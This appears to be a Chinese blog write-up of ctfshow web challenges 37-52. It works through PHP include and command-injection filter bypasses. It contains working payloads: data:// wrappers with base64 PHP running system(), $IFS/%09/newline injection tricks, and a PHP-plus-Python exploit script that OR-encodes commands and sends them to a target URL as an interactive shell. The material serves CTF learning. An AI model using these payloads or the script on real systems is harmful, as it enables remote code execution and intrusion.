ctfshow-web入门37-52

include($c);表达式包含并运行指定文件。

使用data伪协议

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

是<?php system('cat flag.php');?> base64加密

源代码查看得到flag

38

多禁用了php和file。不会改变伪协议,继续使用上一题命令

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

39

被添加了".php"​后缀,data://text/plain,​就相当于已经执行了php语句并闭合了,所以此处添加的.php​并不会有影响。

 把上一题的base64加密改回去就行了

?c=data://text/plain,<?php system('cat f*')?>

40

过滤了数字和各种符号

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

41

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

大体意思就是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符
传递参数getflag
用法 python exp.py <url>

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
if(len(argv)!=2):
   print("="*50)
   print('USER:python exp.py <url>')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
url=argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)

42

>/dev/null 命令不回显   使用;即可绕过

?c=cat f*;

查看源代码

43

禁用了;可以使用

%0a(换行符)

|     执行前面那条命令

||   执行后面那条命令

&  都执行

&& 都执行

cat被禁用可以使用 nl tac

查看源代码得到flag

44

多禁用一个flag,没啥区别 使用之前代码就行

45

多禁用了个空格 使用%09    都可以绕过

或者?c=echo$IFS`tac$IFS*`%0A

?c=nl$IFS$9f*||

46

禁用了数字但并不影响%09

*号被禁可以使用fl''ag  或fla?

47

?c=nl<fl''ag.php||

?c=nl%09fla?.php||

48

使用上一题命令就行

?c=nl<fl''ag.php||

49

一样

?c=nl<fl''ag.php||

50

同理

51

过滤了tac

使用nl继续

52

<> %09 都禁了使用$IFS

 ?c=nl${IFS}fl''ag.php||

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值